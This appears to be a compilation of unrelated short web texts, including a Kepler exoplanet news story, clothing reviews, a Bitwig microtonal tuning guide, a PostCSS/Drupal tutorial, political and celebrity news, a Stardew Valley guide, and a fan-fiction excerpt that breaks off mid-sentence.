-This story was updated at 2:30 p.m. EST.  While 2011 was a huge year for alien-planet discoveries, 2012 could bring something even more exciting: the first true "alien Earth."  This year saw the tally of confirmed exoplanets top 700, with NASA's Kepler space telescope flagging thousands of additional candidates that still need to be verified. And just this month, Kepler scientists announced two landmark finds — the first two Earth-size alien planets, as well as a larger world in its star's habitable zone, that just-right range of distances where liquid water (and possibly life as we know it) could exist.  These and other recent discoveries suggest that the prized quarry of many exoplanet hunters — an "alien Earth" — could be just over the horizon. In fact, such a planet may well pop up in the next round of Kepler candidates, which should be released next year, researchers said.  "I'm guessing that this next planet catalog is going to see, finally, some numbers of points that are really, truly Earth-sized and in the habitable zone," said Natalie Batalha, deputy leader of the Kepler science team at NASA's Ames Research Center in Moffett Field, Calif. "That's something that I really look forward to, is getting those candidates." [Vote Now! Most Intriguing Alien Planets of 2011]  Alien planets piling up  The year has seen a huge increase in the number of known exoplanets. At the start of 2011, astronomers had confirmed 528 alien worlds, according to the Extrasolar Planets Encyclopedia, a database compiled by astrobiologist Jean Schneider of the Paris-Meudon Observatory.  Less than one year later — and just 16 years after the first alien planet was found orbiting a sun-like star — the count now stands at 713. And thousands more are waiting in the wings.  On Dec. 5, Kepler scientists announced the discovery of 1,094 new exoplanet candidates, bringing the mission's total tally in its first 16 months of operation to 2,326. So far, just 33 of these potential planets have been confirmed by follow-up observations, but researchers have estimated that at least 80 percent of them will turn out to be the real deal.  These huge numbers are exciting by themselves, but the search for alien planets isn't really about increasing the tally. Rather, it's a quest to better understand the nature and diversity of alien worlds, researchers say.  "You can only understand the diversity of systems if you have enough numbers that speak to the statistics," Batalha told SPACE.com. "You really want a large sample, and that's where Kepler's going to make a huge contribution."  The diversity of alien worlds and systems appears to be high. Astronomers have found one planet as light and airy as Styrofoam, for example, and another as dense as iron. And in September, the Kepler team announced the discovery of an alien planet that circles two suns, like Luke Skywalker's home planet of Tatooine in the "Star Wars" films.  Researchers have also confirmed several planets in their stars' habitable zones. None of them can be considered true alien Earths, since they're significantly larger than our home planet. But the search for Earth's twin may bear fruit as early as next year, researchers say.  Hunting for alien Earths  The Kepler space telescope, which launched in March 2009, hunts for alien planets using a technique known as the transit method. It looks for the tiny, telltale dips in a star's brightness caused when a planet transits, or crosses in front of, the star from Kepler's perspective, blocking a fraction of the star's light.  Kepler needs to witness three such transits to flag a potential planet, so it's not terribly surprising that the telescope has yet to find a true Earth twin, researchers have said. If an alien version of Kepler were pointed at our solar system, after all, it would take three years for the instrument to detect our home planet.  The longer Kepler operates, the better its chances of detecting a truly Earth-like world get. And now that the instrument has nearly three years under its belt, the finds are getting especially intriguing.  "We're really starting to get down to smaller planets with longer [orbital] periods," Batalha said.  So far, none of those planets have been both Earth-size and in their stars' habitable zone. But that could change with the next announcement of Kepler candidates, which Batalha said might come in June or July.
-MEN HEATTECH CREWNECK T-SHIRT (LONG SLEEVE) is rated 4.2 out of 5 by 20 .  Rated 5 out of 5 by YankeeGirl from Shirt love Have ordered these shirts numerous times because they get me through the winter months indoor and out. Could not have enough of them!  Rated 5 out of 5 by Vilo from Great for cold weather This t-shirt was a gift to my husband, he travels all the time and with this weather, he uses the t-shirt all the time, I ordered another one and he loves the quality, fitting and long sleeve is great to keep him warm.  Rated 5 out of 5 by Anonymous from Been living in these shirts I bought the heat tech shirts in men and women's size and prefer the men's medium. The sleeves are long enough and overall fit is comfortable. The sleeves on the women's shirt are short enough to be annoying; I like clothes that I can put on and forget about them, and not be tugging at sleeves or feel like I can't take a deep breath. The men's medium is a bit looser than women's large. I wear them as a base layer and a pajama top and a workout shirt. I have both black and white and would have bought more black if they hadn't sold out. I have one of the warmer heat tech, but find these more comfortable; light, soft and silky. And they wash well.
-If you’re making music with Bitwig Studio, did you know it is also capable of playing microtonal music? It’s not difficult to set up – in fact Bitwig is already a shade above Ableton Live in terms of microtonal scale support. In this article I’ll discuss some possibilities and limitations for microtonal music in Bitwig Studio.  Pitch bend method  If you’re the kind of musician who wants to compose standard Western tuned music with the occasional microtonal melodic intonation, then the pitch bend method is an easy way to go. Bitwig essentially locks you into standard Western tuning (12-tone equal temperament) as a tonal framework, and you can specify your deviation from that tuning on a per-note basis.  Yes, you heard correctly. Bitwig supports per-note pitch bend for its built-in instruments! This really lowers the barrier of entry for a basic level of microtonality.  But if you want to go deep, using a microtonal scale as your tonal framework, then things start to get fiddly because you’ll be using those pitch bends on almost every single note. Copy and paste will be your friend here.  Remember that per-note pitch bend does not work for VST instruments. The MIDI spec doesn’t support per-note pitch bend, so this technique only works for the Bitwig internal instruments that share Bitwig’s own unique data structure.  Equal temperaments with Bitwig Note MOD  You can use the Note MOD device to grab note information from any instrument track. That information can then be used to modulate other parameters within Bitwig’s instruments or effects.  The Note MOD device can be set up to allow you to play in microtonal equal temperaments with the Sampler, FM-4 and Polysynth instruments. That’s because these 3 instruments have a Pitch setting that can be modulated. Use the Note MOD device with the KEY modulator to modulate the Pitch setting of your instrument. A negative value will cause the notes to become smaller than a semitone, while a positive value will cause the notes to become larger than a semitone.  This gives you a world of microtonal and macrotonal equal tunings to explore. But note that this method won’t allow you to play just intonation scales or other unequal scales.  VST instruments  Of course, due to the fact that Bitwig supports VST instruments, you can simply load up tried-and-true VST instruments that support microtonal scales.  If you have a synth that can be tuned via tuning file import, then you’ll need to know how to generate those tuning files or you could simply download a few ready-made tuning packs. And don’t forget to check your synth’s manual to find out how to import your tuning files.  This method doesn’t update the look of your piano roll even if you update the tuning in your VST instrument. So you’ll be stuck in a piano roll scordatura hell, where the notes on the piano roll don’t quite match up with what you’re hearing. But don’t worry, most other DAW microtonalists are in the same ring of hell as you. Get cosy, I’ve been here for years.  SysEx / MIDI Tuning Standard support?!  In the past, SysEx was how MIDI devices sent and received data for their specific functions. This was a long time ago, before everything was done in the box with a GUI. Some new VST instruments and many old keyboard synths support microtuning via MIDI Tuning Standard (MTS) SysEx messages.  It looks like Bitwig doesn’t support SysEx messages yet (as of Spring 2016), and we’re not sure if it ever will. So MIDI Tuning Standard based microtuning is ruled out for now, sorry. Let’s hope the developers will implement it for all us nerds in the future. Cross your fingers, say prayers, burn incense, and send the developers a feature request…  If you’re using the Xen Arts plugins in Bitwig Studio under Windows or WINE then you’d better just load the .mid tuning-dumps via the UI directly on the synth itself.  Bitwig modular microtuning  In the core of Bitwig Studio there is a hidden modular environment that will later be opened up for musicians and tweakers to patch into. Without a doubt, Bitwig’s modular system could be used and abused to bend the notes in any which way you choose. Let’s wait for this one and see what the future holds.  If Bitwig Studio’s modular system inspires the same kind of sharing culture that Max for Live does, then it’s only a matter of time before some bright spark patches a microtuner plugin or microtonal synth in Bitwig modular.  If you know any other ways to squeeze a microtonal scale out of Bitwig Studio then drop a line in the comments.  Further reading
-Triggs named 2017 recipient of the Voltaire award as her five-year contract comes to an end  Gillian Triggs will receive a top award for freedom of speech one week before her five-year contract as Australian human rights commissioner expires.  Triggs, who has been consistently criticised by the Abbott and Turnbull governments for her condemnation of Australia’s treatment of refugees, was named the 2017 recipient of the Voltaire award by Liberty Victoria on Tuesday for her “courageous stand on people’s rights”.  “It’s a recognition of her work and the courage she has exhibited in the face of very withering criticism from the government from time to time,” Prof Spencer Zifcak, acting president of Liberty Victoria, told Guardian Australia.  Gillian Triggs criticises News Corp claim Human Rights Commission 'failing older white men' Read more  “Most people would just have resigned in the face of the criticism that she has received.”  Senior government ministers, including the attorney general, George Brandis, and the immigration minister, Peter Dutton, have called for Triggs’ resignation over the past two years in response to her criticism of the treatment of refugees, particularly children, in Australia’s offshore detention centres on Manus and Nauru.  Triggs responded to what she described as “highly personal” criticism by saying that resigning in the face of such attacks was “the very reverse of what I ought to be doing”.  In November the prime minister, Malcolm Turnbull, confirmed that Triggs’ role as human rights commissioner would end when her contract expired in mid-2017, and Triggs told Guardian Australia she had not sought reappointment.  Gillian Triggs: I won’t be cowed by political attacks Read more  Zifcak said the decision to give the Voltaire award to Triggs was not intended as a political statement against the government. For an institution formed by human rights lawyers who frequently attack governments of all political stripes, he said, invoking some political ire “just goes with the territory”.  Triggs is expected to accept the award at ceremony in Melbourne in July.  Triggs said she was “honoured” to receive the award and congratulated the other winners in a statement that referenced the controversy over section 18C of the Racial Discrimination Act, which the government attempted to water down.  “It’s so important that we strike the balance between speaking freely and protecting people for racial abuse,” she said.  The cartoonist Eaten Fish, an Iranian asylum seeker held in detention on Manus Island since 2013, will receive the empty chair award, founded last year for recipients who are unable to accept in person.  Eaten Fish produces work about life in detention and has received an award for courage in editorial cartooning by the Cartoonists Rights Network International. In February he went on a 19-day hunger strike to protest against the immigration department’s handling of his claims of sexual abuse.  “Again, we are talking about courage here,” Zifcak said. “This is a person who is undergoing both physical and psychological suffering as a direct result of being in detention but is still willing to get out there and make it clear how people are being treated in that environment and criticise both the Australian and Papua New Guinean governments for their cruel, inhumane and degrading treatment on Manus and Nauru.”  The terrible true story of Mr Eaten Fish, Manus Island cartoonist | First Dog on the Moon Read more  Seventeen-year-old Georgia Stone will receive the inaugural young Voltaire award for her advocacy on behalf of transgender children and adolescents.  Stone was 10 years old when she won a landmark case in the family court to be allowed to to take hormone blockers, a case that set the precedent of trans children only needing parental and medical consent to access that treatment. Trans people under the age of 18 still need the permission of the family court to access cross-sex hormone therapy.  She was named the GLBTI person of the year in 2016.
-Karl Kani , one of the most influential fashion designers of streetwear in the 90s, got a special gift from Tupac . In a new interview, Kani explained that Tupac did not charge him anything to do an advertisement.  "My first interactions were with Daz and Kurupt and Snoop [Dogg]. I met Tupac a couple years after that," Karl Kani said of how he linked up with Pac. "Those guys came down, it was nothing but love. They did ads for my partners in Cross Colours and we decided we wanted to go with Tupac in our advertisement. So, I did my ads with Tupac in 94, 95."  Karl Kani stated that when he sat down to discuss doing the ad with Tupac, the rapper let it be known why he would not be charging anything to do it.  "We connected at the Hotel Nikko. I sat down and talked to the man cause I really wanted to meet him cause he was wearing a lot of my clothing," Kani explained. "After ten minutes or so in the conversation, I asked him how much would he charge me to do an ad and he kind of got real quiet. He didn't say nothing for a minute. He's like, 'Yo man, I ain't gonna charge you cause you black. You my peoples, man. I'm just gonna do it out of love.' I was like cool, game on. Two weeks later, the man kept his word and went to New York to do a photo shoot before Above the Rim came out."  Check out the entire interview above to hear about Karl Kani's experience opening up his first store in South Central and how he started working with Tha Dogg Pound.
-By Bill Maher  This week, Supreme Court Justice Clarence Thomas asked questions during oral arguments for the first time in ten years. He’s like one of those rare plants that blooms once in a lifetime. But I can’t help but feel it’s no coincidence that he roused himself just after Scalia died. While the conservatives on the court had a solid majority he was content to just sit back and let Scalia and Roberts do the heavy lifting, but now that the balance has tilted a little to the left he’s got to step up.  Of course, the questions he did ask had nothing much to do with the issue at hand, but at least he’s trying.  I just hope that when the Republicans reject Obama’s nominee as unqualified, someone will respond, “Compared to who? The Madame Tussaud’s wax figure that your side picked?”
-Front-end developers and engineers are familiar with Less, Sass, or Stylus for their CSS processing needs. CSS as a language is iterative and constantly changing. CSS 3 brought with it a host of changes and interactions previously only possible with JavaScript.  There's a new tool out there to help with CSS magic and it's called PostCSS. Simply put, it's a tool for transforming styles using JavaScript. But it's much more than that. Its modular structure enables front-end developers to create complex workflows. PostCSS is not meant to replace Less or Sass. It can either work alongside those pre-processors or work independently too. You can look at PostCSS as a more powerful Sass.  Some of the Major Benefits of Using POSTCSS are:  It is modular and hence, more lightweight. It uses a single responsibility principle at its core, which means you can choose what you actually want to use in your project workflow. It enables faster processing. The compilation of projects, both small and large is speedy.  There are more than 200 PostCSS plugins available for web application development in Drupal. Let’s take a look at the examples outlined below to incorporate a PostCSS plugin into your Drupal 8 theming workflow.  #1 – Stylelint PostCSS Plugin:  While working with large development teams and codebases, you need to first establish good coding standards. Coding standards help in maintaining clean and consistent code. And Stylelint is a PostCSS plugin that enforces a clean and consistent CSS rules.  Stylelint Configurations:  var stylelintConfig = { "rules": { "block-no-empty": true, "indentation": 2, "color-no-invalid-hex": true ... ... } };  Stylelint has over you can choose from. Here we have covered an example of setting up Stylelint using Gulp:  var postcss = require('gulp-postcss'); var reporter = require('postcss-reporter'); var stylelint = require('stylelint'); var scss = require("postcss-scss"); gulp.task('lint:css', function() { return gulp.src('src/**/*.scss') .pipe(postcss( [ stylelint({ /* options */ }), reporter({ clearMessages: true }) ], { syntax: scss } )); });  #2 – CSSNext PostCSS Plugin:  CSSNext is another PostCSS plugin you can use with CSS syntax. With this plugin, you need not wait for the browser support. Below is an example of using CSSNext plugin in Drupal 8:  // CSS Input :root { --red: #d33; } a { &:hover { color: color(var(--red) a(54%)); } }  // CSS Output a:hover { color: #dd3333; color: rgba(221, 51, 51, 0.54); }  Some of the additional PostCSS plugins you can use in your workflow include CSSnano modular CSS minifier, Style Guide, and PostCSS pxtorem. As mentioned earlier, you can use these plugins or its parts you really need in your workflow.  Using PostCSS Within Your Drupal 8 Theming Workflow  There are a few things you require to get started with PostCSS:  Node.js or NPM  Grunt, Gulp, Webpack or whatever task runner you prefer  Add PostCSS packages using npm install package_name --save-dev  Incorporating PostCSS into your workflow does not necessarily need to be Drupal specific. It is easily accessible in Drupal 8 theme. The only thing that matters is that you need to fetch some additional Node packages and update your Gulp file.  PostCSS is a powerful tool you can easily customize to suit your project requirements. It is modular, extendable and fast. It has a large ecosystem of plugins, you can use to either replace the preprocessor setup or use it alongside. Have you incorporated any PostCSS plugin within your Drupal 8 theming project? Let us know in the comments below.
-America recently got to see a whole other side to jokester Jack Black.  In support of Red Nose Day, the funny man traveled to Uganda and took a glimpse into the impoverished life of Felix -- a homeless 12-year-old who relies on collecting and returning recyclables off the street for money.  In the video above -- which was broadcast during last Thursday's telethon event on NBC -- Felix told Black that his mother died and he never met his father. He has siblings, but has no idea where they are.  "It's unfathomable," Black, who was among many A-listers supporting the cause, said to the camera. He noted Felix sleeps near strangers and garbage every night, using a rock to rest his head. "This is not a place for a 12-year-old boy to be sleeping alone. This is his life."  As Felix explained, the most important thing to him is learning -- something Red Nose Day fought to make happen.  A project that helps connect street kids like Felix to learning opportunities was one of the beneficiaries of Thursday's event, which reportedly raised more than $21 million to help impoverished communities in the U.S. and abroad.  Several charities were helped by Red Nose Day, including Boys & Girls Clubs of America, Save the Children and United Way. The televised event was launched in the U.K. in 1988, as CNN reported, and had raised over 78 million British pounds, or about $122 million, before last night's telethon.  Several global humanitarian efforts -- including the fight against AIDS, ending domestic violence and helping children access education -- have benefited from Red Nose Day.  To learn more about Red Nose Day, visit the event's website here.
-MY CROPS WON’T GROW!!!  Capitalists hate the winter time. They hate it because they can’t make as many agricultural profits. This is because, like in real life, you are severely limited in your crop production during the Winter in Stardew Valley. The lack of profits to be earned from crops may be incredibly daunting, but Winter serves as down time. Perhaps Spring-Fall was incredibly breakneck and stressful for you in Stardew Valley? Perhaps there are a lot of things you were unable to complete or do because you were stressed by the ever-looming passage of time. I certainly was, and with this post, I will help guide you through Winter in Stardew Valley, and show you how it can be fun and productive.  Think of the Future  If crops are truly on your mind, then rearrange your farm. You should have a high enough farming level to craft a quality sprinkler. I highly recommend crafting as many of these as you can during Winter. In year 1 of Stardew Valley, there were likely many things you were unable to complete, because your schedule was so packed. You were also likely to have a farm that was a complete mess because you were pressured to make some money in the first few impoverished days in Stardew Valley. Therefore, it is imperative to make a mental map of your farm layout for Spring of Year 2.  A person with a farm like this:  didn’t get this immediately. Clearing your farm out in Year 1, and establishing a massive plot like this is nearly impossible. So don’t be discouraged if your farm isn’t as nearly as profitable as you would like to be! Winter is a time to evaluate your plot, whether you would like to grow grass for your animals, where you would place your sprinklers and your crops, and where you would like trees and decorations. Would you like a farm that’s decorative and pretty? Or would you prefer a farm that maximizes profits? You have options.  What I have done so far, is mine for the materials needed for quality sprinklers, and lay them out on my farm prematurely. This means that when Spring Day 1 rolls around, you can buy as many seeds as you need, and not have to worry about taking the entire day up watering. They will all water themselves automatically, and you can focus on other tasks like fishing, mining, or making new friends!  Save Every Last Dime  So now you know to lay your farm out for a massive Spring harvest. Only, there’s a slight problem: you need money to buy seeds and resources. There is no point to planning your farm if you cannot enact that plan. Therefore, do whatever you can to scrounge up as much Winter money as you can. Forage for Winter crops and sell those. Forage for Winter Crops and bring them to the community center to get Winter Seeds and sell those. You will need that cash to afford the seeds in Spring. Don’t be afraid to sell the not-so-fancy gems you find in the mine. Hold onto the diamonds and emeralds because those make fantastic gifts, but don’t hesitate to sell Jade, Amethyst, or Topaz.  Furthermore, if you missed out on planting trees and the Community Center is mocking you for it, then now is the time to save for them. They take a very long time to grow, so to get them ready on the first day of Spring would make a monumental difference for your profits. Do not go overboard with multiple trees, however. One of each should be fine. Perhaps you have even designated a place on your farm for trees to grow.  It is tempting to buy more animals to generate a profit off of them, but unless you are ready for a long-term investment, I would say hold off until massive profits in Spring. If you already have a few animals, then I believe you should coast on that amount for a while. Because you have to buy a heater, which takes 2000g for the Winter time, buying expensive animals could be costly for the short-term Winter saving plan. Also, I would say hold off on upgrading your Barn and Coop. While they are being upgraded, you can still access your animals, so you don’t have to wait for a specific time to do that.  Homies and Recreation  The Community Center is an integral piece of Stardew Valley that should not be ignored. Not just because completing bundles gets you awesome rewards, but because fully completing the Community Center is how you complete the game’s main quest! Obviously, you can’t complete everything in a single year if you didn’t keep track of it (or use the Wiki). That’s why Winter is a time for you to plan and assess how to fill the center up quickly. Planning will take you 20 minutes, but it will honetly be a life-saver for you. Don’t do what I did, and sell all your pumpkins in Fall, forgetting that you need to give it for the Community Center, and wait three in-game seasons for my chance again.  Also, if you planted tons of seeds in Fall, you should have a decent amount of cash. Don’t be afraid to budget your earnings for gifts. Building relationships in Winter is a great activity, and it can spruce the otherwise dead season with more lively cutscenes and stories. Building friendships and seeing people’s stories are one of the most interesting aspects of Stardew Valley, and seeing their demeanor change from cold and abrasive to warm and welcome is so rewarding. At 0 hearts, Shane says “Do I know you? Leave.” At 5 hearts, he says “I’m surprised anybody wants to talk to me, I appreciate it.”  THE OFFICIAL STARDEW VALLEY CHECKLIST FOR ACTIVITIES:  Make friends  Prepare the farm with Sprinklers and designs  Go to the community center and plan what you need from Spring-Fall  Save dat cash  Never talk to Pierre, the scumbag.
-Bangladeshi writer Taslima Nasreen, who was recently relocated to the US from India by an NGO after death threats by Islamists radicals, on Wednesday took to Twitter to announce that she is not leaving India permanently.  "I often go to USA.To give lectures & to see my family.I haven't left India permanently. Indian govt always provides security. Pet cat is waiting", Nasreen tweeted.  Human rights activist Nasreen even emphasised that she has full faith in Indian government as it provides security. The outspoken writer even said that her pet cat is also waiting for her in India.  The 52-year-old writer was taken to the United States by an NGO, claiming that it is providing Nasreen safety amid death threats from Islamic radicals. According to a press release by the US-based Center for Inquiry, Nasreen reached New York on May 27. A fund has also been established to assist her.  The Center for Inquiry has established an emergency fund to assist freethought activists whose lives are under threat by Islamic radicals linked to Al Qaeda in countries such as Bangladesh, where three secularist bloggers have been murdered since February, the statement said.  Taslima is from Bangladesh has been living in exile since 1994 in the wake of death threats by Muslim fundamentalist outfits. She is now a citizen of Sweden.  She has also been continuously getting Indian visa since 2004. She has lived in the US, Europe and India in the last two decades. However, on many occasions, she has expressed her wish to live in India permanently, especially in Kolkata.
-Keywords: french concept comic book graphic novel artist writer jean henri gaston giraud revolutionary concept artist author for film comic books movies the incal john difool the airtight garage arzach wordless stories illustrations drawings moebius one of the greatest artists of all time  It is super hard for me to believe that Mobeius is gone. Jean Henri Gaston Giraud passed away at the age of 73 on March 10, 2012. I remember reading The Incal graphic novels by EPIC and thinking that he had some of the best compositional flow of any artist that I've ever read. I also remember that a lot of his technical stuff was so amazingly simple and complex at the same time. Just searching for his art on the web made me realize what an incredible amount of work he has produced in his lifetime. I know there was a time when Katsuhiro Otomo and him were discussing making an animated version of The Airtight Garage , which I was so freakishly stoked on. Unfortunately, that never happened but I am thrilled he left so many works behind for us to enjoy and I can't wait to discover them all. Thank you so much! Your work will live on to inspire generations of artists forever. Pour Moebius... Merci beaucoup pour le voyage.
-“Yes we can!” – “¡Sí se puede!” – is the deafening chant that closes the rallies. Except they feel less like political meetings and more like rock concerts. On Sunday, millions of Spaniards will vote in their country’s general election – not since the death of Franco has Spain faced such a dramatic political transformation.  Podemos – Spanish for “we can” – is a party less than two years old, but a combination of discontent and optimism means the party and its allies could win dozens of seats in the Spanish parliament, a political ascent lacking precedent in postwar western Europe. A combination of economic crisis, a brutal programme of cuts, and disillusionment with a political elite widely regarded as corrupt and venal spurs on its support. This election matters – not just for Spain, but for Europe too.  Travelling across Spain – and full disclosure, I’m here to support Podemos – reveals a country with a huge level of political engagement. In A Coruña, Galicia, hundreds of young people cram into a room, debating violence against women, the democratisation of the economy, and workers’ rights.  Spaniards new democracy Franco's long shadow Read more  I meet the mayor, Xulio Ferreiro, who was swept to power along with other Podemos-backed candidates in many cities in May’s local elections. Dressed in casual jeans, jumper and shirt, he is a far cry from the opulence of the city hall. It is a reminder that protesters have become rulers. In Asturias – where miners in 1934 revolted against a rightwing government before the civil war – thousands of people waving purple balloons chant “remontada”, or “comeback”, referring to Podemos’s apparent upturn in the polls. In a working-class district of Barcelona, supporters of Podemos’s allies En Comú Podem cheer Ada Colau, their new crusading mayor, who came to prominence as an anti-eviction champion.  Given what has happened to Spain, it would perhaps be more surprising if this political convulsion had not taken place. Unemployment peaked at a quarter of the workforce in 2013, and remains above 20%. The crisis was particularly ruinous for young people, nearly half of whom remain out of work, a total only eclipsed in the European Union by austerity-ravaged Greece. Many of those driven into the ranks of the unemployment were stripped of benefits, leaving them destitute.  For many of those in work, life is increasingly defined by precariousness and insecurity. According to the Financial Times, only 7% of new work contracts signed in July were for permanent jobs; before the crash, it was closer to 12%. In June, over a quarter of new fixed-term employment contracts lasted a week or less, up from just under 16% before the crash. This is the lot of middle-class and working-class Spaniards alike.  In 2014, nearly a hundred families were thrown out of their homes every day. The economic recovery has been accompanied by booming child poverty: according to the EU, one in three Spanish children now risk poverty or social exclusion. Services have been decimated too: Madrid cut 13.6% of spending on health between 2009 and 2013.  You might expect PSOE – Spain’s equivalent of the Labour party – to be the beneficiaries, but this technocratic outfit was in power when the crisis hit and began the process of cutting. PSOE shows the same signs of morbidity afflicting European social democracy: the fragmentation of its traditional base, and its acceptance of market economics and austerity at the expense of supporters.  P​odemos ​leader ​Pablo Iglesias on why he’s like Jeremy Corbyn: ‘He brings ideas that can solve problems’ Read more  Election speeches here are peppered with references to the indignados, a huge movement against the entire political elite which took to the streets in the run-up to the 2011 election that evicted PSOE. The movements had two major political outcomes: the creation of Podemos at the beginning of 2014, which went on to take five seats in the European parliament just four months later; and sweeping gains for anti-austerity movements in last May’s local elections, with so-called “mayors of change” taking power in cities across the country. Podemos’s rise was meteoric: months after its foundation, some polls put the party in first place.  The first thing you notice about a Podemos rally is a rejection of the style of the old left: no red flags, no speeches peppered with socialism. As one candidate for En Marea, an ally of Podemos in Galicia, put it to me, she doesn’t answer the problems of farmers by whipping out a copy of Das Kapital. The Podemos strategy appeared to be vindicated.  But the party suffered a number of setbacks. When Syriza swept to power in Greece at the beginning of 2015, Podemos’s leader, Pablo Iglesias, forged a close alliance with Syriza’s Alexis Tsipras. EU leaders were aware that any success for Syriza would boost similar movements elsewhere, and in Spain most of all – which partly explains their determination to impose a humiliating austerity agreement. The Greek capitulation damaged Podemos.  Facebook Twitter Pinterest ‘The election campaign has transformed Podemos’s fortunes.’ Photograph: Emilio Morenatti/AP  Then there is the backlash against the burgeoning Catalan independence movement. Like David Cameron stirring anti-SNP hostility so successfully in Britain’s general election, so the Spanish government has tapped into anti-Catalan resentment, damaging the pro-referendum (though not pro-independence) Podemos.  After years of economic trauma, any sign of recovery undoubtedly benefits the incumbent government. And Podemos’s role as the new, fresh outsiders was robbed by the rise of Ciudadanos (Citizens), led by the telegenic Albert Rivera, who first came to prominence when he appeared naked in a campaign poster, cupping only his manhood.  Originating in Catalonia as a vigorously anti-independence movement, the party attracted derisory support in national opinion polls at the beginning of the year. Although portrayed as centrist equivalents of Britain’s Liberal Democrats, Ciudadanos blends free-market ideology and libertarianism on drugs and sex work, while in Catalonia it proposed banning the burqa. Some of its leading figures and candidates have suggested limiting abortion rights and removing healthcare from immigrants. Ciudadanos subsequently became the darlings of the mainstream media and surged past Podemos, apparently consigning Iglesias’s then-flagging party to fourth place.  Yet the election campaign has transformed Podemos’s fortunes. The latest polls put Podemos on 20%, four points ahead of Ciudadanos and just five points behind the ruling party, an indication of how much Spanish politics has fragmented. Though we must treat polls with scepticism, the old party system is on course to be dealt a crippling blow, even if a weakened Popular party clings on to power, possibly propped up by Ciudadanos.  Even if Podemos only wins, say, 13%, it would be a dramatic breakthrough for a party founded only last year. Let’s not get swept away: Syriza was the great hope of the left at the start of 2015. But Spain is not Greece, and Podemos shows there’s life in the movement yet. Europe’s rulers should take note.
-Shifted EXTRA: Causality  Some time before Epilogue:Redemption  Crim sat weak and unfocused in a normal cell. All of his magic had been drained, and the only power left to him was his immortality. He'd lost track of the days, and wouldn't be surprised if the universe had aged a hundred years or more in his absence. It mattered not. His cell wasn't even locked. He posed no threat. His connection to the Cauldron, the source of all magic in the universe, had been severed. He couldn't even Shift anymore.  And he could feel that he'd aged. He had no mirror, though they would probably provide him with one if he ever asked. His once pitch black hair had grown long and grey during his time here. His body was thinner, and he could see the bones in his body poking at his skin. He just didn't have the energy to do anything. No, that's wrong. He could get up and do something, but he didn't have the drive. Nothing mattered anymore.  His thoughts drifted to the days long since passed, and a faint smile spread across his lips. He remembered all those years ago when he and seven other Shifters masked their existences and hid themselves away from Eudelus Nacht and his Salvation. Crim had cleverly manipulated the other seven into serving him, and none of them were any the wiser until Lia Merca's forces overran then at Purgatory. Even after they discovered his covert and ancient betrayal, he still adored them. They were the closest things he'd ever had to a family.  Criston Marr was strong and determined. He held an air of authority about himself, and his thunder magic was nearly unrivaled until he met the great Nik Stoll. The Battle for Purgatory lasted for several days, and every second was that Marr and Nik fought was a terrifying display of destructive beauty. Thunder had rolled across the battlefield, frightening both armies, and the lightning was so mighty that it cracked the ancient angelic ruins of Paradise that rested below the false moon Purgatory.  Althea Vollz terrified everyone. She had been cursed over ten thousand years ago with a strange case of eternal youth. While her body remained young and beautiful, her mind and soul would age horribly. Even her voice was hoarse and distasteful, making her sound like a very old woman. She had been forced to live alone until she awakened as a Shifter, and then she sought the same goals as Crim; the destruction of all magic to avenge the curse placed upon her. He almost regretted sacrificing her. Almost.  Xeno Crius, the sword master. Crim was very fond of him. He was the first piece to move in their game against Salvation. He snuck onto the world of Eden, and seemingly crippled a group of mortals who served Salvation. Darkstar, Cyril, and Aqua were three of the mightiest to serve the organization, and Xeno effectively destroyed their spirits. He murdered Aqua, who was married to Cyril and thus eliminated the two of them in one fell swoop. Darkstar proved more difficult, but he ultimately cut the scythe user's eyes out and rendered him useless. The War of Dogma was started, and three pawns were removed from play it seemed. Sadly, this was not the case. The two mean had a strong determination for revenge, and they found Xeno on the battlefield. Darkstar died in the battle, but Cyril ultimately put a bullet though Xeno's skull.  Atra Miles, Aevitus, and Blossom held little value sadly. Atra felt no ambition, and he defected as soon as the tides of war shifted against him. Aevitus was too ambitious, and she destroyed herself in the pursuit of power. Blossom was the most tragic. Solstice, the half-elf servent of Arletha, has a strong resentment for vampires, and when Blossom revealed herself, she sealed her doom. He hunted her down for sport before the war was concluded.  Then his thoughts drifted to the seventh and final member of his motley crew; Calm. He never gave his real name, but his name had special meaning. He could control whether a person was emotional or not, and he generally preferred everyone to feel calm. "It gives little distraction on the battlefield when your mind isn't clouded by anger or sorrow," he'd said once. Crim saw Calm as his closest ally. He even loved the man in a way he'd never thought he could love. So when Calm's betrayal became apparent, Crim was heartbroken. But he couldn't be angry. He wanted so badly to hate Crim and be angry with him, but that bastard wouldn't let him. He kept calming Crim down.  Calm now works for Salvation. As does Marr. The two saw opportunities to meet their own personal goals as soon as Crim's goals failed, and they took those chances. He didn't blame the two men, but he did feel responsible. Five of Dogma's eight were dead, one was a prisoner, and two were turn cloaks. Some war I waged, he thought.  The sound of footsteps on the stone floor of the Thoughtspire dragged him back to the present. He glanced up to the open door of his cell and waited. Who is it today? Lucia? Arletha? Marr?  "Are you sure about this?" came the voice of...he smiled; Rose Gordon. What an unexpected surprise. "He's a bit...unpleasent."  "I don't mind, Ms. Gordon." came a voice that he actually didn't fully recognize at first. "I've been meaning to do this for the last hundred years. It's about time I stop procrastinating."  The two individuals rounded the corner, and Crim saw the two women before him. Rose opened the door and stepped in first. "Hello, Crim."  "Hello, Black Rose," he said mockingly. "Love the nick name."  Her eyes narrowed. "I earned it in your war," she shot back.  "How quaint. Was it because you picked up your lover's scythe and continued fighting after Xeno had killed him?"  Anger shot across her face. She kicked him in the ribs, and Crim coughed in pain before chuckling a little. "Don't you dare mention Darkstar."  "Ms. Gordon," the other woman said. "Please."  Rose nodded. "Sorry. Go ahead." She stepped aside, and the other woman approached.  Crim looked up and swore he recognized her. That dress...the orange hair and green eyes...ah, I see. "You're the android from the Longest Night possibility, aren't you?" He smiled. "Well, you wouldn't know about anything from that possibility, I suppose, since it didn't actually happen. Not in this universe at least. So, you've gone and grown up on old Mama Remnant, have you? Now you're an eternal protector. Good for you."  Her eyes narrowed. "He is unpleasant," she said flatly. "You...you cursed my friend, didn't you?"  Crim frowned. "I don't know if Ms. Black Rose has told you, but my connection the Cauldron was ripped from me quite some time ago. I couldn't curse a fly."  "Not recently," the girl added. "It was well over a hundred years ago. In fact, it's the reason that your magic was taken from you."  "Ah, so you were friends with that little girl. Ruby Rose was her name, correct?"  The girl glared at him. "You don't have the right to say her name."  He laughed. "Between her and Darkstar, I've got a whole plethora of taboo names on me, don't I?" He met her gaze. "So, what do you want?"  "Penny," Rose said. "It's not worth your time. He's just a shell now. You don't need to do this."  "I do," Penny said. She knelt down in front of Crim and stared into his eyes. "Why? Why did you curse her?"  "Didn't Black 